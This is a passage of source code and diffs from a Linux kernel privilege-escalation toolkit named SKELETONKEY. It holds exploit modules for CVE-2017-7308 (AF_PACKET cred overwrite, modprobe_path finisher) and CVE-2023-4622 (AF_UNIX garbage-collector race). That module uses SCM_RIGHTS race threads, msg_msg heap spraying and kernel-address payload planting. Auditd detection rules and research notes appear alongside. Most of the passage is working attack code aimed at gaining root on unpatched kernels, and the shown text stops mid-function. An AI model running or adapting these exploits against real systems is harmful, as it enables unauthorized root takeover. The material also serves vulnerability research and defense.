for (int i = 0; i < 200; i++) {
(void)sendto(tx, payload, sizeof payload, 0,
(struct sockaddr *)&dst, sizeof dst);
}
unsigned char wbuf[256];
memset(wbuf, 0, sizeof wbuf);
memset(wbuf, 0xff, 6);
memset(wbuf + 6, 0, 6);
wbuf[12] = 0x08; wbuf[13] = 0x00;
size_t wlen = len;
if (14 + wlen > sizeof wbuf) wlen = sizeof wbuf - 14;
memcpy(wbuf + 14, buf, wlen);
for (int i = 0; i < 50; i++) {
(void)sendto(tx, wbuf, 14 + wlen, 0,
(struct sockaddr *)&dst, sizeof dst);
}
close(tx);
close(s);
return 0;
}
#endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
"(cred-offset table is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
/* 1. Refuse on patched kernels — re-run detect. */
iamroot_result_t pre = af_packet_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = af_packet_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -444,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
@@ -452,15 +729,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* extend known_offsets[] for new distro builds. */
struct kernel_version v;
if (!kernel_version_current(&v)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet: using offsets [%s] "
@@ -468,15 +745,41 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
off.kernel_id, off.task_cred, off.cred_uid, off.cred_size);
}
uid_t outer_uid = getuid();
gid_t outer_gid = getgid();
/* 3b. --full-chain: opt-in modprobe_path overwrite via xairy-style
* sk_buff hijack arb-write. Refuses cleanly if (a) the shared
* offset resolver can't find modprobe_path or (b) the trigger
* is rejected (silent backport). */
if (ctx->full_chain) {
struct skeletonkey_kernel_offsets koff;
memset(&koff, 0, sizeof koff);
(void)skeletonkey_offsets_resolve(&koff);
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
skeletonkey_finisher_print_offset_help("af_packet");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
skeletonkey_offsets_print(&koff);
}
struct afp_arb_ctx arb_ctx = {
.ctx = ctx,
.off = &off,
.outer_uid = outer_uid,
.outer_gid = outer_gid,
};
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
&arb_ctx, !ctx->no_shell);
}
/* 4. Fork: child enters userns+netns, fires overflow, attempts the
* cred-overwrite walk. We do it in a child so the (possibly
* crashed) packet socket lives in a tear-downable address space
* the kernel will clean up sockets on child exit. */
uid_t outer_uid = getuid();
gid_t outer_gid = getgid();
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -497,7 +800,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
/* WIN — one of our task_struct-spray children became uid 0.
* Signal parent via exit code; parent will not exec sh from
* this child (its address space is corrupted-ish). The win
* is symbolic at the iamroot level: we proved the primitive
* is symbolic at the skeletonkey level: we proved the primitive
* lands AND the cred-overwrite walk completes. */
_exit(0);
}
@@ -512,9 +815,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_packet: child died abnormally "
"(signal=%d) — primitive likely fired but crashed\n",
WTERMSIG(status));
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
"for slab-out-of-bounds evidence\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int code = WEXITSTATUS(status);
@@ -528,29 +831,29 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
* that targets OUR cred specifically (rather than spray-and-
* pray), we can't promote ourselves. Report PARTIAL win.
*
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
* empirically confirmed root in this process. We didn't. */
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
"but THIS process is still uid %d\n", geteuid());
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
"did not acquire root. The primitive demonstrably works.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 4:
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
"kernel has silent backport (detect was version-only)\n");
return IAMROOT_OK; /* effectively patched */
return SKELETONKEY_OK; /* effectively patched */
case 5:
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
"acquired root within the timeout window\n");
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
"for evidence the OOB write occurred\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif
}
@@ -558,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static const char af_packet_auditd[] =
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
"# Flag AF_PACKET socket creation from non-root via userns.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
const struct iamroot_module af_packet_module = {
const struct skeletonkey_module af_packet_module = {
.name = "af_packet",
.cve = "CVE-2017-7308",
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
@@ -577,7 +880,7 @@ const struct iamroot_module af_packet_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet(void)
void skeletonkey_register_af_packet(void)
{
iamroot_register(&af_packet_module);
skeletonkey_register(&af_packet_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
#define AF_PACKET_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet_module;
#endif
@@ -0,0 +1,35 @@
# NOTICE — af_unix_gc (CVE-2023-4622)
## Vulnerability
**CVE-2023-4622** — AF_UNIX garbage-collector race against SCM_RIGHTS
fd-passing → `struct unix_sock` freed while still reachable → slab
UAF in `SLAB_TYPESAFE_BY_RCU` kmalloc-512 bucket.
## Research credit
Discovered and disclosed by **Lin Ma** (Zhejiang University),
August 2023.
Writeup: <https://github.com/google/security-research/security/advisories/GHSA-7p7m-3xv8-2pq2>
(disclosure record), plus Lin Ma's public PoC repo.
Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
5.15.130 / 6.1.51 / 6.5.0.
## SKELETONKEY role
**Widest deployment of any module in the corpus** — bug present
in every Linux kernel below the fix (back to ~2.0 era).
Two-thread race driver: Thread A cycles SCM_RIGHTS fd-passing
through a socketpair; Thread B triggers unix_gc by closing a socket
in a reference cycle. msg_msg spray refills the freed slot.
CPU-pinned. Bounded budget: 5 s default, 30 s with `--full-chain`.
Bug is reachable as a **plain unprivileged user** — no userns
required, no CAP_* needed. Race-win rate per run is iteration-
dependent; Lin Ma's PoC reports thousands of iterations to first
reclaim. The shared finisher's sentinel timeout handles no-land
outcomes gracefully.
@@ -0,0 +1,847 @@
/*
* af_unix_gc_cve_2023_4622 — SKELETONKEY module
*
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
* concurrently mutate the inflight refcount on the same sockets. The
* narrow window between a socket being marked GC-eligible and the
* collector actually freeing it can be widened by tightly cycling
* SCM_RIGHTS messages — when the race wins, a `struct unix_sock` is
* freed while still reachable from another thread's skb queue, giving
* slab UAF in the SLAB_TYPESAFE_BY_RCU kmalloc-512 bucket.
*
* Discovered by Lin Ma (ZJU) in Aug 2023. Public exploit chain uses
* the UAF + msg_msg cross-cache spray to refill the freed slot, then
* pivots through the now-controlled `unix_sock->peer` field.
*
* STATUS: 🟡 PRIMITIVE — race-driver + msg_msg groom + empirical
* witness. We carry the trigger (SCM_RIGHTS cycle + GC), the
* kmalloc-512 spray, CPU pinning for race-win improvement, and the
* slab-delta + signal-disposition witness. We do NOT carry the
* leak (no read primitive in-module) nor a kernel-build-specific
* fake unix_sock layout. Per verified-vs-claimed: a SIGSEGV/SIGKILL
* in the race child IS recorded but does NOT upgrade to EXPLOIT_OK
* — only an actual cred swap (euid==0) does, and we do not
* demonstrate that without --full-chain.
*
* --full-chain (HONEST RELIABILITY): extends the race budget from
* 5 s to 30 s and re-sprays kmalloc-512 with payloads carrying the
* target kaddr at strided offsets. Race-win rate on a real
* vulnerable kernel is iteration-dependent — Lin Ma's PoC reports
* thousands of iterations to first reclaim. The shared
* modprobe_path finisher's 3 s sentinel timeout catches the
* overwhelmingly common no-land outcome gracefully.
*
* Affected: ALL Linux kernels with AF_UNIX below the fix. The bug
* has been in the GC path since the 2.x era. Stable backports:
* 4.14.x : K >= 4.14.326
* 4.19.x : K >= 4.19.295
* 5.4.x : K >= 5.4.257
* 5.10.x : K >= 5.10.197
* 5.15.x : K >= 5.15.130
* 6.1.x : K >= 6.1.51 (LTS)
* 6.5.x : K >= 6.5.0 (mainline fix)
* 6.6+ : patched
*
* Preconditions:
* - AF_UNIX socket creation works (always — no module gate)
* - msgsnd / sysv IPC available for spray
* - SCM_RIGHTS via sendmsg available (universal)
* - userns NOT required — works as a plain unprivileged user
*
* Coverage rationale: the AF_UNIX GC has been touched extensively
* for the 2023-2024 series of races (Lin Ma + Pwn2Own follow-ups);
* this CVE is the first publicly-disclosed entry in that series and
* carries the widest version range of any module we ship.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <stdatomic.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/socket.h>
#ifdef __linux__
# include <sched.h>
# include <sys/ipc.h>
# include <sys/msg.h>
# include <sys/un.h>
#endif
/* macOS clangd lacks Linux SCM_* / CMSG_* fully — guard fallbacks. */
#ifndef SCM_RIGHTS
# define SCM_RIGHTS 0x01
#endif
#ifndef SOL_SOCKET
# define SOL_SOCKET 1
#endif
#ifndef MSG_DONTWAIT
# define MSG_DONTWAIT 0x40
#endif
/* ---- Kernel-range table ------------------------------------------ */
static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
{4, 14, 326},
{4, 19, 295},
{5, 4, 257},
{5, 10, 197},
{5, 15, 130},
{6, 1, 51}, /* 6.1 LTS */
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
but stable 6.5.x carries the patch) */
};
static const struct kernel_range af_unix_gc_range = {
.patched_from = af_unix_gc_patched_branches,
.n_patched_from = sizeof(af_unix_gc_patched_branches) /
sizeof(af_unix_gc_patched_branches[0]),
};
/* ---- Detect ------------------------------------------------------- */
/* Sanity: can we actually create an AF_UNIX socket on this host?
* In some seccomp/ns-restricted sandboxes socket(AF_UNIX, ...) fails;
* in that case the exploit cannot even reach the GC path. */
static bool can_create_af_unix(void)
{
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) return false;
close(s);
return true;
}
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
return SKELETONKEY_TEST_ERROR;
}
/* No lower bound: this bug has been in the AF_UNIX GC path since
* the dawn of time. ANY kernel below the fix is vulnerable. The
* kernel_range walker handles "older than every entry" correctly
* (returns false → not patched → vulnerable). */
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
}
return SKELETONKEY_OK;
}
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
if (!can_create_af_unix()) {
if (!ctx->json) {
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
"exotic seccomp/sandbox, bug unreachable here\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
" (no userns / no CAP_* required — AF_UNIX is universally\n"
" creatable). The race window is microseconds wide and\n"
" needs thousands of iterations to win on average.\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ---- Race-driver state ------------------------------------------- */
#ifdef __linux__
#define AFUG_RACE_TIME_BUDGET 5 /* seconds — primitive-only mode */
#define AFUG_RACE_FULLCHAIN_BUDGET 30 /* seconds — --full-chain */
/* kmalloc-512 spray width — `struct unix_sock` is in the kmalloc-512
* bucket on 64-bit x86 with SLAB_TYPESAFE_BY_RCU. We need enough
* msg_msg slots to make refill probable within the RCU grace period. */
#define AFUG_SPRAY_QUEUES 24
#define AFUG_SPRAY_PER_QUEUE 48
#define AFUG_SPRAY_PAYLOAD 496 /* 512 - 16 (msg_msg hdr) */
/* SCM_RIGHTS race width: how many inflight fds per cycle. The bug
* is driven by inflight count crossing the GC threshold; a handful
* per cycle keeps the GC heuristic primed without OOM. */
#define AFUG_SCM_FDS_PER_MSG 3
struct ipc_payload {
long mtype;
unsigned char buf[AFUG_SPRAY_PAYLOAD];
};
static _Atomic int g_race_running;
static _Atomic uint64_t g_thread_a_iters;
static _Atomic uint64_t g_thread_b_iters;
static _Atomic uint64_t g_thread_a_errs;
/* Pin to a CPU to make Thread A and Thread B land on different cores.
* Best-effort: failure is non-fatal (e.g., affinity disallowed under
* some seccomp configs). */
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
sched_setaffinity(0, sizeof set, &set);
}
/* The race victim region: a pair of socketpair(AF_UNIX) endpoints
* forming a reference cycle. Closing one end while the other has
* inflight fds queued is what naturally triggers unix_gc().
*
* Layout we drive (Lin Ma style):
*
* pair_a = socketpair(); pair_b = socketpair();
* send pair_b[0] via SCM_RIGHTS over pair_a[0] → pair_a[1]
* send pair_a[0] via SCM_RIGHTS over pair_b[0] → pair_b[1]
* close all 4 endpoints — now we have a cycle the GC will collect
*
* Thread A loops the build-cycle-and-close.
* Thread B loops sending its own SCM_RIGHTS messages on independent
* pairs to perturb the inflight count + race the collector. */
/* Send an SCM_RIGHTS message with `nfds` fds over `sock`. Returns 0
* on success, -1 on error. */
static int send_scm_rights(int sock, const int *fds, int nfds)
{
char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
memset(ctrl, 0, sizeof ctrl);
char payload = 0;
struct iovec iov = { .iov_base = &payload, .iov_len = 1 };
struct msghdr msg = {0};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = ctrl;
msg.msg_controllen = CMSG_SPACE(sizeof(int) * nfds);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
if (!cmsg) return -1;
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(int) * nfds);
memcpy(CMSG_DATA(cmsg), fds, sizeof(int) * nfds);
if (sendmsg(sock, &msg, MSG_DONTWAIT) < 0) return -1;
return 0;
}
/* Thread A: tight-loop SCM_RIGHTS-cycle + close to drive GC.
*
* Each iteration:
* 1. Build two socketpairs (A=[a0,a1], B=[b0,b1]).
* 2. Send b0 via SCM_RIGHTS over a0 → a1 receives nothing yet (we
* don't recvmsg — that's the point: the fd stays inflight).
* 3. Send a0 via SCM_RIGHTS over b0 → b1 receives nothing yet.
* 4. close() all 4 user-side fds. Now both endpoints are unreachable
* from userspace BUT each is referenced from the other's skb
* queue → reference cycle → next unix_gc() pass collects them.
*
* The kernel's GC heuristic kicks when the inflight count exceeds
* the count of file refs in the system; closing the user-side fds in
* a tight loop reliably triggers it. */
static void *race_thread_a(void *arg)
{
(void)arg;
pin_to_cpu(0);
while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
int pa[2], pb[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pa) < 0) {
atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
sched_yield();
continue;
}
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pb) < 0) {
close(pa[0]); close(pa[1]);
atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
sched_yield();
continue;
}
/* Cycle: send pb[0] over pa, send pa[0] over pb. We also send
* pb[1]/pa[1] alongside to widen the inflight count per cycle
* (the GC trigger heuristic compares inflight vs total file
* refs — more inflight per cycle == earlier GC). */
int fds_a[AFUG_SCM_FDS_PER_MSG] = { pb[0], pb[1], pb[0] };
int fds_b[AFUG_SCM_FDS_PER_MSG] = { pa[0], pa[1], pa[0] };
(void)send_scm_rights(pa[0], fds_a, AFUG_SCM_FDS_PER_MSG);
(void)send_scm_rights(pb[0], fds_b, AFUG_SCM_FDS_PER_MSG);
/* Close the user-side fds. The kernel-side refs are now only
* held via the inflight skbs — perfect reference cycle for
* the GC to find. */
close(pa[0]); close(pa[1]);
close(pb[0]); close(pb[1]);
atomic_fetch_add_explicit(&g_thread_a_iters, 1, memory_order_relaxed);
}
return NULL;
}
/* Thread B: independent SCM_RIGHTS traffic on a held pair to keep
* the GC scan list churning while Thread A creates new candidates.
*
* Holds a long-lived socketpair and repeatedly sends + recvs SCM_RIGHTS
* with random fds (dup'd from /dev/null). This drives the GC's "scan
* list" rebuild path concurrently with Thread A's frees — the race
* window that fires the UAF is exactly here.
*
* We don't directly call unix_gc() — there's no userspace knob — but
* the GC heuristic is inflight-count driven, and Thread A's cycle
* loop pushes that count past the threshold within a few thousand
* iterations. */
static void *race_thread_b(void *arg)
{
(void)arg;
pin_to_cpu(1);
/* Long-lived pair for the perturbation loop. */
int held[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, held) < 0) {
return NULL;
}
/* Spare fd source — /dev/null dups are harmless to pass. */
int devnull = open("/dev/null", O_RDWR);
if (devnull < 0) {
close(held[0]); close(held[1]);
return NULL;
}
while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
int fds[AFUG_SCM_FDS_PER_MSG];
for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
fds[i] = dup(devnull);
}
(void)send_scm_rights(held[0], fds, AFUG_SCM_FDS_PER_MSG);
for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
if (fds[i] >= 0) close(fds[i]);
}
/* Drain the recv side so the held pair doesn't backpressure. */
char drain[16];
char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
struct iovec iov = { .iov_base = drain, .iov_len = sizeof drain };
struct msghdr msg = {0};
msg.msg_iov = &iov; msg.msg_iovlen = 1;
msg.msg_control = ctrl; msg.msg_controllen = sizeof ctrl;
if (recvmsg(held[1], &msg, MSG_DONTWAIT) > 0) {
/* Close any fds we received so we don't leak. */
for (struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c;
c = CMSG_NXTHDR(&msg, c)) {
if (c->cmsg_level == SOL_SOCKET && c->cmsg_type == SCM_RIGHTS) {
int nfd = (c->cmsg_len - CMSG_LEN(0)) / sizeof(int);
int *rfds = (int *)CMSG_DATA(c);
for (int j = 0; j < nfd; j++)
if (rfds[j] >= 0) close(rfds[j]);
}
}
}
atomic_fetch_add_explicit(&g_thread_b_iters, 1, memory_order_relaxed);
}
close(devnull);
close(held[0]); close(held[1]);
return NULL;
}
/* ---- msg_msg cross-cache spray for kmalloc-512 ------------------- */
static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x55; /* 'U' — unix */
memset(p.buf, 0x55, sizeof p.buf);
memcpy(p.buf, "SKELETONKEYU", 8);
int created = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (q < 0) { queues[i] = -1; continue; }
queues[i] = q;
created++;
for (int j = 0; j < AFUG_SPRAY_PER_QUEUE; j++) {
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
}
}
return created;
}
static void drain_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
{
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
}
}
/* Read /proc/slabinfo for kmalloc-512 active count. Used as the
* primary empirical witness: a successful UAF + refill perturbs
* this counter in a way that's distinguishable from idle drift. */
static long slab_active_kmalloc_512(void)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "kmalloc-512 ", 12) == 0) {
char name[64];
long act = 0, num = 0;
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
active = act;
}
break;
}
}
fclose(f);
return active;
}
/* ---- Arb-write primitive (FALLBACK depth) ------------------------
*
* The shared modprobe_path finisher calls back here once per kernel
* write. For AF_UNIX GC race we cannot deliver a deterministic
* arb-write — the underlying race wins on a small fraction of runs
* even with a 30 s budget, and even when the race wins our spray-only
* groom has nowhere near the precision of Lin Ma's multi-stage public
* PoC (which crafts a fake unix_sock whose `peer` pointer steers a
* subsequent SCM_RIGHTS dispatch into the kaddr we want written).
*
* Honest depth: FALLBACK. Each invocation:
* 1. Re-seeds the kmalloc-512 spray with payloads tagged with
* `kaddr` packed at strided offsets (so wherever the UAF reclaim
* lands attacker-controlled bytes inside the freed unix_sock,
* our kaddr appears at the field offset).
* 2. Re-runs the race threads for the extended full-chain budget.
* 3. Returns 0 — we cannot in-process verify the write landed. The
* shared finisher's 3 s sentinel file check is the empirical
* arbiter: on the overwhelmingly common no-land outcome it
* returns EXPLOIT_FAIL gracefully. */
struct af_unix_gc_arb_ctx {
int *queues;
int n_queues;
int arb_calls;
};
static int af_unix_gc_reseed_kaddr_spray(int queues[AFUG_SPRAY_QUEUES],
uintptr_t kaddr,
const void *buf, size_t len)
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x52; /* 'R' — arb-write reseed (distinct from groom 0x55) */
memset(p.buf, 0x52, sizeof p.buf);
memcpy(p.buf, "IAMU4ARB", 8);
/* Plant kaddr at strided slots so wherever the kernel's UAF
* follows a ptr in the refilled chunk, one of these is read.
* unix_sock has multiple pointer fields (peer, link, scm_stat,
* etc.) — strided coverage hits whichever one the UAF dispatch
* dereferences. */
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf;
off += 0x18) {
memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
}
/* Caller's bytes immediately after the cookie so any path that
* reads payload data (rather than a chased pointer) finds the
* requested write contents inline. */
size_t copy = len;
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
if (buf && copy) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy);
int touched = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES && touched < 6; i++) {
if (queues[i] < 0) continue;
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
}
return touched;
}
static int af_unix_gc_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct af_unix_gc_arb_ctx *c = (struct af_unix_gc_arb_ctx *)ctx_v;
if (!c || !c->queues || c->n_queues == 0) return -1;
c->arb_calls++;
fprintf(stderr, "[*] af_unix_gc: arb_write attempt #%d kaddr=0x%lx len=%zu "
"(FALLBACK — race-dependent)\n",
c->arb_calls, (unsigned long)kaddr, len);
int seeded = af_unix_gc_reseed_kaddr_spray(c->queues, kaddr, buf, len);
if (seeded == 0) {
fprintf(stderr, "[-] af_unix_gc: arb_write: kaddr-tagged reseed produced 0 msgs\n");
} else {
fprintf(stderr, "[*] af_unix_gc: arb_write: reseeded %d msg_msg slots\n",
seeded);
}
/* Re-run the race with the extended budget. */
atomic_store(&g_race_running, 1);
atomic_store(&g_thread_a_iters, 0);
atomic_store(&g_thread_b_iters, 0);
atomic_store(&g_thread_a_errs, 0);
pthread_t ta, tb;
bool a_ok = pthread_create(&ta, NULL, race_thread_a, NULL) == 0;
bool b_ok = a_ok &&
pthread_create(&tb, NULL, race_thread_b, NULL) == 0;
if (!a_ok || !b_ok) {
atomic_store(&g_race_running, 0);
if (a_ok) pthread_join(ta, NULL);
fprintf(stderr, "[-] af_unix_gc: arb_write: pthread_create failed\n");
return -1;
}
sleep(AFUG_RACE_FULLCHAIN_BUDGET);
atomic_store(&g_race_running, 0);
pthread_join(ta, NULL);
pthread_join(tb, NULL);
uint64_t a_iters = atomic_load(&g_thread_a_iters);
uint64_t b_iters = atomic_load(&g_thread_b_iters);
fprintf(stderr, "[*] af_unix_gc: arb_write: extended race A=%llu B=%llu\n",
(unsigned long long)a_iters,
(unsigned long long)b_iters);
/* Cannot in-process verify the write — let the finisher's sentinel
* arbitrate. */
return 0;
}
/* ---- Exploit driver ---------------------------------------------- */
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-call detect() and short-circuit. */
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
return SKELETONKEY_OK;
}
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
* modprobe_path is unresolvable we refuse here rather than running
* a 30 s race that has no finisher to call. */
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_unix_gc");
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
" a small fraction per run — see module header.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
" to %d s. RELIABILITY remains race-dependent on a real\n"
" vulnerable kernel. The finisher's 3 s sentinel timeout\n"
" catches no-land outcomes gracefully.\n",
AFUG_RACE_FULLCHAIN_BUDGET);
}
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: forking exploit child (SCM_RIGHTS cycle "
"race harness%s)\n",
ctx->full_chain ? " + full-chain finisher" : "");
}
signal(SIGPIPE, SIG_IGN);
pid_t child = fork();
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
* BEFORE the race so the freed unix_sock slot gets recycled
* with attacker-controlled bytes when the bug fires. */
int queues[AFUG_SPRAY_QUEUES] = {0};
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) queues[i] = -1;
int n_queues = spray_kmalloc_512(queues);
if (n_queues == 0) {
